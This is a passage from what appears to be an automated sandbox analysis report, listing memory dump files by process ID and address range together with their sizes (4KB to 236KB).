                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-283-0x0000000002401000-0x0000000002402000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-284-0x0000000002402000-0x0000000002403000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-285-0x0000000002404000-0x0000000002405000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-232-0x00000000003C0000-0x00000000003FB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/2932-281-0x0000000002440000-0x0000000002462000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                136KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3764-301-0x0000000000370000-0x0000000000371000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3764-288-0x0000000000320000-0x000000000035B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3792-307-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3792-300-0x00000000003A0000-0x00000000003DB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3828-312-0x0000000000380000-0x0000000000381000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3828-303-0x0000000000320000-0x000000000035B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3868-331-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3868-309-0x00000000002B0000-0x00000000002EB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3964-346-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/3964-334-0x00000000003A0000-0x00000000003DB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                236KB